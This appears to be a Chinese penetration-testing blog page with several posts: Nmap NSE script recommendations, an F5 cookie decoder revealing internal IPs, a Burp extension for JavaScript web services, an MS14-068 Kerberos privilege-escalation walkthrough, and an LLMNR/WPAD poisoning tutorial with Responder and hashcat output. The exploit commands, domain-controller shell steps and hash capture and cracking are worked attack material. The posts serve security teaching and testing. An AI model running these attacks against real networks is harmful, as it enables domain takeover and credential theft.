分类 渗透测试 下的文章

一些Nmap NSE脚本推荐

前言

Nmap是一款强大的开源扫描工具。同时Nmap提供了强大的脚本引擎(Nmap Scripting Engine),支持通过Lua脚本语言来扩展Nmap的功能,在Nmap的发行版中已经包含了数百个扩展脚本,除了辅助完成Nmap的主机发现、端口扫描、服务侦测、操作系统侦测四个基本功能,还补充了其他扫描能力:如执行HTTP服务详细的探测、暴力破解简单密码、检查漏洞信息等等。

脚本分类及使用

分类

Nmap脚本主要分为以下几类,引用自:Nmap脚本使用总结

auth: 负责处理鉴权证书(绕开鉴权)的脚本  
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
brute: 提供暴力破解方式,针对常见的应用如http/snmp等  
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等  
dos: 用于进行拒绝服务攻击  
exploit: 利用已知的漏洞入侵系统  
external: 利用第三方的数据库或资源,例如进行whois解析  
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
malware: 探测目标机是否感染了病毒、开启了后门等信息  
safe: 此类与intrusive相反,属于安全性脚本  
version: 负责增强服务与版本扫描(Version Detection)功能的脚本  
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

命令行选项

Nmap提供的一些命令如下:

-sC/--script=default:使用默认的脚本进行扫描。
--script=<Lua scripts>:使用某个脚本进行扫描
--script-args=x=x,y=y: 为脚本提供参数 
--script-args-file=filename: 使用文件来为脚本提供参数 
--script-trace: 显示脚本执行过程中发送与接收的数据 
--script-updatedb: 更新脚本数据库 
--script-help=<Lua scripts>: 显示脚本的帮助信息

脚本

针对性脚本

​​​收集了Github上的一些较有针对性Nmap脚本:

  • MS15-034、LFI、Nikto、ShellShock、tenda

https://github.com/s4n7h0/NSE

  • 枚举ICS程序和设备

https://github.com/digitalbond/Redpoint

  • 一些NSE脚本合集

https://github.com/cldrn/nmap-nse-scripts

  • 路由器信息收集:

https://github.com/DaniLabs/scripts-nse

  • 暴力破解

https://github.com/lelybar/hydra.nse

  • Cassandra、WebSphere

https://github.com/kost/nmap-nse

  • Scada

https://github.com/drainware/nmap-scada

  • NSE开发工具

https://github.com/s4n7h0/Halcyon

  • Hadoop、Flume

https://github.com/b4ldr/nse-scripts

  • WordPress

https://github.com/peter-hackertarget/nmap-nse-scripts

  • VNC

https://github.com/nosteve/vnc-auth

  • PhantomJS检查Http Header信息

https://github.com/aerissecure/nse

  • WebServices检测

https://github.com/c-x/nmap-webshot

  • SSL心脏滴血

https://github.com/takeshixx/ssl-heartbleed.nse

  • OpenStack

https://github.com/sicarie/nse

  • Apache、Rails-xml

https://github.com/michenriksen/nmap-scripts

  • 网关、DNS

https://github.com/ernw/nmap-scripts

  • MacOS

https://github.com/ulissescastro/ya-nse-screenshooter

  • 目录扫描、WhatCMS、漏洞检测

https://github.com/Cunzhang/NseScripting

  • Redis

https://github.com/axtl/nse-scripts

  • 华为设备检测

https://github.com/vicendominguez/http-enum-vodafone-hua253s

  • Axis​​​​

https://github.com/bikashdash/Axis_Vuln_Webcam

内网渗透

来自影牛milsec公众号的推荐

Nmap提供了许多有效的脚本,无需依赖其他第三方的工具对内网机器进行渗透测试:

  • smb-enum-domains.nse

域控制器信息收集,主机信息、用户、密码策略等

  • smb-enum-users.nse

域控制器扫描

  • smb-enum-shares.nse

遍历远程主机的共享目录

  • smb-enum-processes.nse

通过SMB对主机的系统进程进行遍历

  • smb-enum-sessions.nse

通过SMB获取域内主机的用户登录session,查看当前用户登录情况

  • smb-os-discovery.nse

通过SMB协议来收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等

  • smb-ls.nse

列举共享目录内的文件,配合smb-enum-share使用

  • smb-psexec.nse

获取到SMB用户密码时可以通过smb-psexec在远程主机来执行命令

  • smb-system-info.nse

通过SMB协议获取目标主机的操作系统信息、环境变量、硬件信息以及浏览器版本等

  • ms-sql-brute.nse

收集组合字典后对域内的MSSQL机器进行破解

  • ms-sql-xp-cmdshell.nse

获得MSSQL的SA权限用户名密码时可以通过Nmap脚本来执行指定命令,可以通过SMB协议或者MSSQL来执行

  • redis.nse

爆破Redis的用户密码,可以结合写入SSH key获取服务器权限

  • oracle-sid-brute.nse

挂载字典爆破oracle的sid

  • oracle-enum-users

通过挂载字典遍历Oracle的可用用户

  • oracle-brute.nse

获取sid之后可以爆破Oracle的用户密码

  • pgsql-brute.nse

PostgreSql用户密码猜解脚本,对pgsql进行密码爆破,适当的权限下可以读写文件、执行命令,从而进一步获取服务器控制权限。

  • svn-brute.nse

对SVN服务器进行爆破,通过这些svn服务器上的内容,我们可以下载源代码,寻找一些有用的信息

工具

Nmap NSE脚本搜索引擎

  • https://github.com/JKO/nsearch

     ================================================
       _   _  _____  _____                     _
      | \ | |/  ___||  ___|                   | |
      |  \| |\ `--. | |__    __ _  _ __   ___ | |__
      | . ` | `--. \|  __|  / _` || '__| / __|| '_  |
      | |\  |/\__/ /| |___ | (_| || |   | (__ | | | |
      \_| \_/\____/ \____/  \__,_||_|    \___||_| |_|
     ================================================
      Version 0.4b http://goo.gl/8mFHE5  @jjtibaquira
      Email: jko@dragonjar.org  |   www.dragonjar.org
     ================================================
    
     nsearch> search name:http author:calderon category:vuln
     *** Name                                     Author
     [+] http-vuln-cve2012-1823.nse               Paulino Calderon, Paul AMAR
     [+] http-phpself-xss.nse                     Paulino Calderon
     [+] http-wordpress-enum.nse                  Paulino Calderon
     [+] http-adobe-coldfusion-apsa1301.nse       Paulino Calderon
     [+] http-vuln-cve2013-0156.nse               Paulino Calderon
     [+] http-awstatstotals-exec.nse              Paulino Calderon
     [+] http-axis2-dir-traversal.nse             Paulino Calderon
     [+] http-huawei-hg5xx-vuln.nse               Paulino Calderon
     [+] http-tplink-dir-traversal.nse            Paulino Calderon
     [+] http-trace.nse                           Paulino Calderon
     [+] http-litespeed-sourcecode-download.nse   Paulino Calderon
     [+] http-majordomo2-dir-traversal.nse        Paulino Calderon
     [+] http-method-tamper.nse                   Paulino Calderon
    

总结

扫描经常会触发IDS或者其他的安全设备,所以在用的时候应根据实际的环境,来选择合适的脚本。

参考

透过F5获取服务器真实内网IP

前言

渗透测试过程中,经常会遇到目标服务器使用F5 LTM做负载均衡。

如果能获取到目标服务器的真实IP地址,会给后续渗透带来一定便利。

本文既是最近渗透遇到的一点点经验分享。

F5修改cookie机制

F5 LTM做负载均衡时,有多种机制实现会话保持。

其中用到很多的一种是通过修改cookie来实现的。

具体说来,F5在获取到客户端第一次请求时,会使用set cookie头,给客户端埋入一个特定的cookie。

比如:

Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000

后续再接到客户端请求时,F5会查看cookie里面的字段,判断应该交给后续哪台服务器。

作为传统大厂,F5当然不会傻到直接把服务器IP address写入到cookie里面。

F5很巧妙的把server的真实IP address做了两次编码,然后再插入cookie。

所以,只要依据解码流畅,解开487098378.24095.0000的内容,就拿到了server的真实IP address。

解码思路

  • 首先,把第一小节的十进制数取出来,也即,487098378
  • 第二,将其转为十六进制数1d08880a
  • 第三,从后至前,以此取四位数出来,也即,0a88081d
  • 第四,依次把他们转为十进制数:10136829
  • 最后,得到真实内网IP:10.136.8.29

解码脚本

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'


def parserCookie(cookie_value):
   getIP = cookie_value.split(".")[0]
   getIP = hex(int(getIP))
   #print(getIP)
   getIP = getIP.replace("0x","")
   i =0
   tmplist = []
   while i < 8 :
      part = (getIP[i:i+2])
      #print(part)
      part_int = int(part,16)
      #print(part_int)
      tmplist.append(str(part_int))
      i = i+2
   tmplist.reverse()
   IP = ".".join(tmplist)
   return IP

if __name__ == "__main__":
   print parserCookie("2022502666.20480.0000")

微信图片_20181008201234.jpg

总结

严格意义上说,只有内网的私有IP,对正面突破目标防线的帮助并不明显。但是,当需要做内网渗透和漫游的时候,这一点信息还是有价值的。再不济,写report的时候,如果实在没的可写的时候,还可以拿这点作为一个issue作为丰富report的素材。

使用BurpSuite攻击JavaScript Web服务代理

JavaScript Web服务代理是用于与WCF Web服务交互的WSDL(Web服务描述语言)文件的一种选择。这个代理文件用作Web服务方法的描述,公开可用的服务方法及其参数。 JavaScript服务代理或者说JSWS(JavaScript Web服务),它们是AJAX框架的组件,通常可以用于代替相同Web服务的WSDL。JSWS使用JavaScript来对描述符文件进行建模,并且传输中的JSON使得它成为WSDL的XML的一个很好的替代,因为JavaScript和JSON被大量集成到所有浏览器中。客户端应用程序将根据需要加载JSWS或嵌入到页面中。JSWS包含将指示浏览器创建JSON请求的JavaScript代码。JSWS文件的示例在下面。

Type.registerNamespace('NewsSite.AdGroups');
NewsSite.AdGroups.Advertisement=function() {
NewsSite.AdGroups.Advertisement.initializeBase(this);
this._timeout = 0;
this._userContext = null;
this._succeeded = null;
this._failed = null;
}
NewsSite.AdGroups.Advertisement.prototype={
_get_path:function() {
 var p = this.get_path();
 if (p) return p;
 else return NewsSite.AdGroups.Advertisement._staticInstance.get_path();},
GetAds:function(SubsectionID,AdGroupID,Element,iCounter,succeededCallback, failedCallback, userContext) {
return this._invoke(this._get_path(), 'GetAds',false,{SubsectionID:SubsectionID,AdGroupID:AdGroupID,Element:Element,iCounter:iCounter},succeededCallback,failedCallback,userContext); }}
NewsSite.AdGroups.Advertisement.registerClass('NewsSite.AdGroups.Advertisement',Sys.Net.WebServiceProxy);
NewsSite.AdGroups.Advertisement._staticInstance = new NewsSite.AdGroups.Advertisement();
NewsSite.AdGroups.Advertisement.set_path = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_path(value); }
NewsSite.AdGroups.Advertisement.get_path = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_path(); }
NewsSite.AdGroups.Advertisement.set_timeout = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_timeout(value); }
NewsSite.AdGroups.Advertisement.get_timeout = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_timeout(); }
NewsSite.AdGroups.Advertisement.set_defaultUserContext = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultUserContext(value); }
NewsSite.AdGroups.Advertisement.get_defaultUserContext = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultUserContext(); }
NewsSite.AdGroups.Advertisement.set_defaultSucceededCallback = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultSucceededCallback(value); }
NewsSite.AdGroups.Advertisement.get_defaultSucceededCallback = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultSucceededCallback(); }
NewsSite.AdGroups.Advertisement.set_defaultFailedCallback = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_defaultFailedCallback(value); }
NewsSite.AdGroups.Advertisement.get_defaultFailedCallback = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_defaultFailedCallback(); }
NewsSite.AdGroups.Advertisement.set_enableJsonp = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_enableJsonp(value); }
NewsSite.AdGroups.Advertisement.get_enableJsonp = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_enableJsonp(); }
NewsSite.AdGroups.Advertisement.set_jsonpCallbackParameter = function(value) { NewsSite.AdGroups.Advertisement._staticInstance.set_jsonpCallbackParameter(value); }
NewsSite.AdGroups.Advertisement.get_jsonpCallbackParameter = function() { return NewsSite.AdGroups.Advertisement._staticInstance.get_jsonpCallbackParameter(); }
NewsSite.AdGroups.Advertisement.set_path("/AdGroups/Advertisement.asmx");
NewsSite.AdGroups.Advertisement.GetAds= function(SubsectionID,AdGroupID,Element,iCounter,onSuccess,onFailed,userContext) {NewsSite.AdGroups.Advertisement._staticInstance.GetAds(SubsectionID,AdGroupID,Element,iCounter,onSuccess,onFailed,userContext); }
var gtc = Sys.Net.WebServiceProxy._generateTypedConstructor;
if (typeof(NewsSite.AdGroups.AdGroupInfo) === 'undefined') {
NewsSite.AdGroups.AdGroupInfo=gtc("NewsSite.AdGroups.AdGroupInfo");
NewsSite.AdGroups.AdGroupInfo.registerClass('NewsSite.AdGroups.AdGroupInfo');
}

文件加载后,后续的请求将按以下方式格式化。

JSON-request.png

这个指示浏览器如何格式化请求的文件的一个副作用是这也可以帮助攻击者枚举Web服务方法和潜在注入点。 在这些可以利用之前,重要的是要了解JSWS何时使用,以及如何识别它。

识别JSWS

有多种不同的方法来识别这些服务何时在应用程序中使用。应用程序可以通过查找https://some.domaim.com/WebService.asmx/js来请求允许通过代理日志识别的JSWS文件。应用程序还可能请求具有调试信息的相同文件,https://some.domain.com/WebService.asmx/jsdebug。 jsdebug文件将包含有关所需参数的数据类型的附加信息,以及需要哪些参数。即使应用程序没有请求jsdebug文件,它很可能仍然可用。

或者,应用程序可能使用PageMethods技术,这意味着JSWS将直接嵌入到页面中。

这通常在aspx页面而不是asmx,但它可以与任何扩展一起。这个方法可以通过搜索服务器响应的“PageMethods”字符串,或通过检查代理日志的方法调用来识别(例如https://some.domain.com/WebService.aspx/GetInformation

JSWS扩展

在识别出这种技术正在使用之后,攻击者能够处理Web服务将接受的所有请求变化,但这需要时间,并且可能相当冗长乏味。开始在评估中经常看到JSWS之后,我决定创建一个Burp扩展来自动化这个过程。该工具是在Eric Gruber的Wsdler之后建模的,并且以相同的方式运行。JSWS扩展可以从https://github.com/NetSPI/JSWS下载,目前正在等待进入BApp商店。

要使用此工具,只需右键单击包含JSWS的请求或响应,然后单击Parse JSWS(解析JSWS)。如果应用程序正在加载JSWS文件,则该文件应已位于代理日志中。

parse-JSWS.png

建议解析jsdebug文件而不是js文件,因为它会给用户提供更多关于篡改哪些类型的参数的信息。

如果应用程序使用JSWS的PageMethods表示,请右键单击包含PageMethods代码的请求或响应,然后单击Parse JSWS。

然后,JSWS扩展将打开一个JSWS选项卡,以及一个用于刚刚解析的服务的子选项卡。 在此选项卡下有两个窗格,顶部包含所有可用的方法,底部包含JSON模板。

JSWS-tab.png

从这里,请求可以作为任何JSON请求处理,并可以发送到Repeater进行手动测试,或者Intruder和Scanner进行自动测试。

结论

该扩展程序当前不能通过被动扫描检测到JSWS的存在。这项功能正在实现将在未来的版本中发布。对于你可能发现的任何功能要求或错误,请给我发电子邮件或在Github提问。

MS14-068域权限提升漏洞总结

0x01 漏洞起源

说到ms14-068,不得不说silver ticket,也就是银票。银票是一张tgs,也就是一张服务票据。服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。所以ms14-068的来源和银票是息息相关的。

在mimikatz作者的ppt里面是这样描述的:

ms1.png

所以说这真的是一个大漏洞,允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。在server 2000以上的域控中,只要没有打这个补丁,那么情况将是非常糟糕的。

https://technet.microsoft.com/library/security/ms14-068.aspx

0x02 漏洞利用

2.1 windows环境下测试

在windows环境下,mimikatz的作者已经写出了一个exploit。

https://github.com/gentilkiwi/kekeo

其中的ms14-068.exe正是此漏洞的利用工具。要测试这个漏洞,前提还是要明白kerberos的整个认证协议过程,不然是不会明白原理的,测试过程中出了什么问题也不知道怎么解决。我们作为渗透测试人员,如果说对windows环境中这么重要的一个认证协议都不了解,我想内网渗透也是浮云吧。

利用这个漏洞,我们需要一个普通域用户的账户名和密码或者是哈希,哈希传递我已经在别的文章中总结了,其实哈希和密码是有相同的效果。以及域名称,该用户的sids。这些都不是重点,重点是如何获得一个域用户的账户,我们在域内的某台机器上面抓取hash或者的明文密码,或者是其他方法等等。

2.1.2 windows下利用过程

测试环境:

  • 域:xxx.com
  • Dc:dc.xxx.com
  • Win7:win7-01.xxx.com

首先我们在dc上面检测是否有这个漏洞:

ms2.png

很遗憾,没有打这个补丁。

下面我们在win7上面测试该漏洞。Win7是一台普通的域内机器,普通域用户jack登陆。

测试访问域控的c盘共享:

ms3.png

访问被拒绝。

为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法是使用mimikatz:

#kerberos::purge

ms4.png

使用ms14-068来产生一张高权限的berberos服务票据,并注入到内存中:

ms14068.exe /domain:xxx.com /user:jack /password:jackpwd/ /ptt

ms5.png

再测试访问:

ms6.png

测试psexec无密码登陆

ms7.png

很棒,达到了我们想要的效果。

如果想生成一张kerberos票据,做票据传递攻击(ptt),可以这样:

ms14068.exe /domain:xxxcom /sid:S-1-5-21-2666969376-4225180350-4077551764 /user:jack /rid:1104 /password:jackpwd/ /aes256 /kdc:dc.xxx.com /ticket:jack_admin.kirbi

再配合mimikatz的ptt功能,将票据导入到内存中。

2.2 kali环境下测试

如果是远程内网环境,首先要做内网代理,这个就不用多说。然后将自己的dns指向域控制器。

Linux下面测试的工具也有很多,当然msf这个漏洞利用框架肯定是少不了这个模块。关于msf的利用过程我这里就不再多讲,给出国外的一篇利用过程:

https://community.rapid7.com/community/metasploit/blog/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit

2.2.1 goldenPac.py

Kali下面利用此漏洞的工具我是强烈推荐impacket工具包里面的goldenPac.py,这个工具是结合ms14-068加psexec的产物,利用起来十分顺手。

Kali下面默认还没有安装kerberos的认证功能,所以我们首先要安装一个kerberos客户端:

apt-get install  krb5-user

最简单的办法:

goldenPac.py xxx.com/jack:jackpwd@dc.xxx.com就可以得到一个cmd shell:

ms8.png

当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个empire stager或者一个msf payload都不在话下。

2.2.1 ms14-068.py

https://github.com/bidord/pykek

效果和mimikatz作者写的exploit差不多,这个脚本是产生一张kerberos的票据缓存,这个缓存主要是针对linux上面的kerberos认证的,但是mimikatz也有传递票据缓存的功能(ptc),实际上和mimikatz产生的kirbi格式的票据只是格式不同而已。

当然没有kerberos客户端也不行,如果没有安装记得先安装:

apt-get install  krb5-user

这个利用过程需要sid和用户名密码(哈希也可以)。

利用方法:

ms14-068.py -u jack@xxx.com -s jacksid -d dc.xxx.com

ms9.png

这样生成了一张kerberos认证的票据缓存,要让这个票据在我们认证的时候生效,我们要将这张缓存复制到/tmp/krb5cc_0

注意在kali下默认的root用户,使用的kerberos认证票据缓存默认是/tmp/krb5cc_0,所以我们只要将我们生成的票据缓存复制到/tmp/krb5cc_0即可:

ms10.png

Klist可以列举出当前的kerberos认证票据,jack这张票据已经成功导入。

下面我们使用psexec.py来测试一下使用这张缓存的票据来得到一个域控的shell:

ms11.png

可以说也是很简单。

0x03 小结

Ms14-068这个漏洞可谓是威力无穷,在域渗透中,我们第一步就是应该检测域控是否有这个漏洞,一旦域控没有打上这个补丁,将会使我们的内网渗透工作变得十分简单。

参考连接:

LLMNR&WPAD介绍以及渗透测试中的利用

原文:https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

在内网渗透测试中,我们可以针对错误配置的网络服务和协议进行攻击,比如地址解析协议(ARP),动态主机配置协议(DHCP)和域名系统(DNS)等的错误配置。其中可以遇到的一个最重要的无疑是中间人攻击,它可以通过监听网络流量或操纵要访问的目标来访问敏感信息。虽然可以对诸如路由器和交换机的网络设备采取针对这种攻击的安全措施,但是由于一些协议的本身弱点,我们可以用不同的方法进行类似的中间人攻击。因此,本文的主题将是针对LLMNR,NetBIOS和WPAD机制的中间人攻击。在开始之前,本文将解释一下使用windows系统的计算机如何在同一个网络中进行通信,并执行名称解析。

该过程有如下步骤:

1.检查文件系统中的主机文件

在其配置文件中,查询其想要访问的系统信息。同时,它检查要访问的设备是否是自身。
配置文件位于C:WindowsSystem32driversetc

2.检查本地DNS缓存

首先检查缓存。如果要访问的设备的信息存在于高速缓存中,则使用该信息。
可以使用ipconfig / displaydns命令学习DNS缓存。

3.向DNS发送查询

如果计算机未从配置文件中找到任何其想要访问的设备的信息,它会向本地网络上的DNS服务器发送查询。

4.发送LLMNR查询

LLMNR是DNS服务器名称解析失败时处理的协议。

5.发送NetBIOS-NS查询

它在OSI模型的“会话”层中工作。 NetBIOS是一种API,不是协议,用于在Windows操作系统之间进行通信。
计算机的NetBIOS名称与计算机名称相同。

什么是LLMNR&WPAD

LLMNR(链路本地多播名称解析)和NetBIOS-NS(名称服务)是Windows操作系统用于名称解析和通信的两个组件。 LLMNR第一次被用于Windows Vista操作系统,被视为NetBIOS-NS服务的延续。

在DNS服务器名称解析查询失败的情况下,这两个服务继续名称解析。 LLMNR和NetBIOS-NS服务尝试解析DNS服务器无法应答的查询。 实际上,这是Windows操作系统计算机之间的合作形式。

LLMNR协议由IPv4的链路范围组播IP地址224.0.0.252和IPv6的FF02:0:0:0:0:0:1:3服务。 它通过5355的TCP/UDP端口执行自己的操作。

例如,当尝试ping到不在网络上的test.local时,第一个查询转到DNS服务器。 如果DNS服务器无法解析此域名,则查询将重定向到LLMNR协议。 LLMNR不是DNS协议的替代,它是DNS查询失败的情况下改进的解决方案。 它受Windows Vista之后推出的所有操作系统的支持。

llmnr_wireshark.png

NetBIOS是本地网络中的系统用于相互通信的API。 有三种不同的NetBIOS服务。

  • 名称服务,它使用UDP 137端口用于名称注册和名称解析。
  • 数据报分发服务,它使用UDP 138端口进行无连接通信。
  • 会话服务,它在TCP 139端口上执行面向连接通信的操作。

LLMNR协议在未成功的DNS查询之后使用,然后,作为广播查询的NetBIOS-NS分组被包括在流量中。

netbios_wireshark.png

理论上,这些看似无害和功能的系统没有保护在本地网络上的中间人攻击。 攻击者可以成功攻击获得敏感数据,如用户名和密码哈希。

通过操作流量捕获NTLMv2散列

主要情况如下图所示:

llmnr.png

1.受害者将尝试连接到文件共享系统,名为filesrvr,他键入不正确。

2.我们之前提到的步骤执行的名称解析将首先在受害者的计算机上进行查询。

3.在步骤2中,由于DNS服务器没有相应的记录,系统的名称作为LLMNR发送,NetBIOS-NS查询。

4.攻击者侦听网络流量,捕获名称解析查询。 我们告诉受害者,我们是受害者寻找的filsrvr。

攻击者将侦听广播并响应所有LLMNR和NetBIOS-NS查询。 以这种方式,可以操纵假会话并获得用户名和密码哈希。

有不同的工具来进行这个攻击。

  • Responder由SpiderLabs开发。 (本文将使用此工具)
  • llmnr_response(Metasploit框架中的一个模块)
  • MiTMf

我们通过指定网络端口号来开始监听网络流量。

root@kali:~# responder -i 10.7.7.31
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C
[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: False
WPAD script loaded: function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

受害者尝试连接filesrvr共享

flsrvr.png

我们获得了SMB-NTLMv2散列!

LLMNR poisoned answer sent to this IP: 10.7.7.30. The requested name was : filesrvr.
[+]SMB-NTLMv2 hash captured from : 10.7.7.30
[+]SMB complete hash is : Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000
NBT-NS Answer sent to: 10.7.7.30. The requested name was : TOWER

NTLMv2哈希不能直接用于攻击,因此,我们需要执行密码破解攻击,以从捕获的哈希中获取纯文本密码。 有几个工具可以用于散列破解:John the Ripper,Hashcat,Cain&Abel,Hydra等。我们将使用hashcat破解我们从Responder中获得的NTLMv2哈希。

Responder工具将检测到的哈希值保留在/usr/share/responder目录下。

root@kali:/usr/share/responder# ls *30*
SMB-NTLMv2-Client-10.7.7.30.txt

我们获得的NTLMv2哈希如下:

root@kali:/usr/share/responder# cat SMB-NTLMv2-Client-10.7.7.30.txt 
Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000

Hashcat是一个开源的密码破解工具,并且它有GPU支持。 它可以使用-m参数检测哈希模式,使用字典启动强力攻击。

root@kali:/usr/share/responder# hashcat -m 5600 SMB-NTLMv2-Client-10.7.7.30.txt ~/dic.txt 
Initializing hashcat v2.00 with 4 threads and 32mb segment-size...
Added hashes from file SMB-NTLMv2-Client-10.7.7.30.txt: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
[s]tatus [p]ause [r]esume [b]ypass [q]uit => 
Input.Mode: Dict (/root/dic.txt)
Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 6.46M plains, 6.46M words
Progress..: 3625424/3625424 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--
--- snippet ---
ADMINISTRATOR::PENTESTLAB:1122334455667788:e360938548a17bf8e36239e2a3cc8ffc:0101000000000000ee36b4ee7358d201e09a8038de69150f0000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c00080030003000000000000000000000000030000056a8a45ab1d3338b0049b358b877aeeee1aa43715ba0639fb20a86281c8fe2b40a0010000000000000000000000000000000000009001a0063006900660073002f00660069006c00650073007200760072000000000000000000:Abcde12345.
 
All hashes have been recovered
Input.Mode: Dict (/root/dic.txt)
Index.....: 5/5 (segment), 552915 (words), 5720161 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 1.60M words
Progress..: 552916/552915 (100.00%)
Running...: 00:00:00:01
Estimated.: > 10 Years
Started: Sat Dec 17 23:59:22 2016
Stopped: Sat Dec 17 23:59:25 2016
root@kali:/usr/share/responder#

我们得到的密码是Abcde12345。

什么是WPAD?

公司允许员工通过代理服务器访问互联网以提高效率,确保安全性并跟踪流量。连接到公司网络的用户需要知道特定URL的代理服务器,而无需进行配置。 Web代理自动发现协议(WPAD)是客户端使用DHCP和DNS发现方法来定位配置文件的URL的方法。 一旦配置文件的检测和下载完成,就可以通过执行它来确定指定URL的代理。

WPAD怎么工作?

客户端希望访问wpad.dat配置文件以进行代理配置。 它搜索本地网络上名为“wpad”的计算机以查找此文件。 然后执行以下步骤:

1.如果配置了DHCP服务器,则客户端从DHCP服务器检索wpad.dat文件(如果成功,则执行步骤4)

2.将wpad.corpdomain.com查询发送到DNS服务器以查找正在分发Wpad配置的设备。 (如果成功,则采取步骤4)

3.发送WPMN的LLMNR查询(如果成功,请转到步骤4,否则代理不能使用)

4.下载wpad.dat并使用

根据上述顺序,可以对第一步进行DHCP投毒攻击。 DNS投毒攻击自然可以执行第二步,但正如我在本文开头所指出的,配置的网络设备可以防止这些攻击。 当通过LLMNR进行查询时,该请求将通过广播去到网络中的每个客户端。 在这一点上,攻击者将他的wpad.dat文件发送到客户端,就像wpad服务器。

重要的是WPAD协议是在Windows操作系统中内置的。 此配置可以在Internet Explorer浏览器的LAN设置部分中看到。

wpad.png

通过此配置,Internet Explorer在整个网络上进行WPAD名称解析查询。

利用WPAD

Responder是MiTM攻击的一个很好的实用工具。 Responder创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。 Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。 自然地,员工写入在域名中使用的用户名和密码。 最后,我们可以看到他们的用户名和密码。

使用Responder工具真的很简单。

root@kali:~# git clone https://github.com/SpiderLabs/Responder.git
Cloning into 'Responder'...
remote: Counting objects: 886, done.
remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886
Receiving objects: 100% (886/886), 543.75 KiB | 255.00 KiB/s, done.
Resolving deltas: 100% (577/577), done.
Checking connectivity... done.

我设置了以下系统来模拟这种攻击。

wpad_topo-1.png

现在,我们创建了假的HTTP服务并等待明文密码。

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Poisoning Options:
 Analyze Mode [OFF]
 Force WPAD auth [ON]
 Force Basic Auth [ON]
 Force LM downgrade [OFF]
 Fingerprint hosts [OFF]
[+] Generic Options:
 Responder NIC [eth0]
 Responder IP [10.7.7.31]
 Challenge set [1122334455667788]
[+] Listening for events...

wpad_attack.png

明文密码如下:

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Listening for events...
